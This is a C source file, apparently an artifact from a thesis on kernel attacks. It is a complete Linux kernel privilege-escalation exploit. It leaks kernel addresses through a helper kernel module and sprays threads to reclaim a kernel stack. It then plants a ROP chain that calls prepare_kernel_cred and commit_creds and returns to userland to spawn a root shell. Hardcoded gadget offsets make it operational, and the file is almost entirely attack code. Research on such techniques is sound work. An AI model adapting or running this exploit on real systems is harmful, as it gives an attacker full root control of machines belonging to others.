thesis/artifacts/attacks/stack_attack.c
2025-02-13 20:12:31 +01:00

210 lines
No EOL
5.5 KiB
C

#include "utils.h"
#include "ulkm.h"
#include "msg_msg.h"
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <pthread.h>
#define MSG_TYPE 0x41
#define MSG_HEADER 48
#define MSG_SIZE (4096 - MSG_HEADER)
#define MSG_TEXT_OFFSET 2048
#define SPRAY_THREADS 128
#define RECLAIM_STACK_THREADS 256
#define STACK_SZ (4<<12)
#define NEXT_STACK 16*STACK_SZ
// 0xffffffff818326ea: add rsp, 0x30; pop rbp; ret;
#define ADD_RSP_0X38_RET_OFFSET 0x8326ea
// 0xffffffff8184c11f: push rax; pop rbp; ret;
#define PUSH_RAX_POP_RBP_RET_OFFSET 0x84c11f
// 0xffffffff810e324c: mov rsp, rbp; pop rbp; ret;
#define MOV_RSP_RBP_POP_RET_OFFSET 0xe324c
// 0xffffffff810e32f0: pop rdi; ret;
#define POP_RDI_RET_OFFSET 0xe32f0
// 0xffffffff81608764: xchg rdi, rax; ret;
#define XCHG_RDI_RAX_RET_OFFSET 0x608764
#define SWAPGS_POP_RET_OFFSET 0x140136c
#define IRET_OFFSET 0x140183d
#define FIND_TASK_BY_VPID_OFFSET 0x133020
#define PREPARE_KERNEL_CRED_OFFSET 0x140d00
#define COMMIT_CREDS_OFFSET 0x140780
#define INIT_TASK_OFFSET 0x240fcc0
#define INIT_CRED_OFFSET 0x2490220
size_t _text;
size_t stack;
size_t msg_msg;
enum state
{
DO_LEAK,
STACK_LEAKED,
} state;
size_t user_cs;
size_t user_ss;
size_t user_sp;
size_t user_rflags;
void save_state(void)
{
__asm__ (
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
void *leak_task(void *)
{
pin_to_core(1);
lkm_stack_leak((size_t)&stack);
stack += NEXT_STACK;
printf("[+] leaked stack %016zx\n", stack);
return 0;
}
void *spray_task(void *)
{
pin_to_core(2);
sleep(-1);
return 0;
}
int empty_function(void *)
{
// pin_to_core(3);
// sleep(-1);
return 0;
}
void shell(void)
{
// register size_t rax asm("rax");
// printf("[*] rax %016zx\n", rax);
printf("[+] uid %d gid %d\n", getuid(), getgid());
// sleep(-1);
int ret = system("/bin/sh");
if (ret < 0) {
perror("system");
exit(-1);
}
}
void build_rop_chain(size_t *rop)
{
*rop++ = 0; // rbp
*rop++ = POP_RDI_RET_OFFSET+_text;
*rop++ = INIT_TASK_OFFSET+_text;
*rop++ = PREPARE_KERNEL_CRED_OFFSET+_text;
*rop++ = XCHG_RDI_RAX_RET_OFFSET+_text;
*rop++ = COMMIT_CREDS_OFFSET+_text;
*rop++ = SWAPGS_POP_RET_OFFSET+_text;
*rop++ = 0; // rbp
*rop++ = IRET_OFFSET+_text;
*rop++ = (size_t)&shell;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop++ = user_ss;
}
char thread_stack[1<<15];
int main(void)
{
save_state();
pin_to_core(0);
printf("[*] start\n");
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
lkm_init();
lkm_code_leak((size_t)&_text);
printf("[+] _text %016zx\n", _text);
static char buffer[0x1000] = {0};
msg *message = (msg *)buffer;
message->mtype = MSG_TYPE;
build_rop_chain((size_t *)(message->mtext+MSG_TEXT_OFFSET));
int qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(qid, message, MSG_SIZE, 0);
lkm_msg_msg_leak((size_t)&msg_msg, qid, MSG_TYPE);
printf("[+] msg_msg %016zx\n", msg_msg);
int ret;
pthread_t tid;
for (size_t i = 0; i < SPRAY_THREADS; ++i) {
ret = pthread_create(&tid, 0, spray_task, 0);
if (ret < 0) {
perror("pthread_create(spray_task)");
exit(-1);
}
}
printf("[*] create leak task\n");
ret = pthread_create(&tid, 0, leak_task, 0);
if (ret < 0) {
perror("pthread_create(leak_task)");
exit(-1);
}
printf("[*] join leak task\n");
pthread_join(tid, 0);
for (size_t i = 0; i < RECLAIM_STACK_THREADS; ++i) {
/* load small first payload on the stack via user registers */
register size_t r12 asm("r12");
size_t old_r12 = r12;
register size_t r13 asm("r13");
size_t old_r13 = r13;
register size_t r14 asm("r14");
size_t old_r14 = r14;
asm volatile(
"mov %[st90], %%r12;"
"mov %[st98], %%r13;"
"mov %[sta0], %%r14;"
::
[st90]"r"(_text+MOV_RSP_RBP_POP_RET_OFFSET),
[st98]"r"(_text+PUSH_RAX_POP_RBP_RET_OFFSET),
[sta0]"r"(_text+XCHG_RDI_RAX_RET_OFFSET)
);
clone(empty_function, thread_stack+sizeof(thread_stack), CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, 0);
asm volatile(
"mov %%r12, %[old_r12];"
"mov %%r13, %[old_r13];"
"mov %%r14, %[old_r14];"
::
[old_r12]"m"(old_r12),
[old_r13]"m"(old_r13),
[old_r14]"m"(old_r14)
);
}
/* overwrite function pointer with rdi register */
lkm_write(stack+STACK_SZ-0xc0, _text+ADD_RSP_0X38_RET_OFFSET); // <- R12, RIP
lkm_write(stack+STACK_SZ-0xc8, msg_msg+MSG_HEADER+MSG_TEXT_OFFSET); // <- R13, RDI
/* for testing */
// lkm_write(stack+STACK_SZ-0xb8, 0x4141414141414141);
// lkm_write(stack+STACK_SZ-0xc0, 0x4242424242424242); // <- R12, RIP
// lkm_write(stack+STACK_SZ-0xc8, 0x4343434343434343); // <- R13, RDI
// lkm_write(stack+STACK_SZ-0xd0, 0x4444444444444444);
// lkm_write(stack+STACK_SZ-0xd8, 0x4545454545454545); // <- R14
// lkm_write(stack+STACK_SZ-0xe0, 0x4646464646464646); // <- R15
printf("[*] main thread sleep\n");
sleep(-1);
// cleanup_queue(qid);
printf("[*] done\n");
}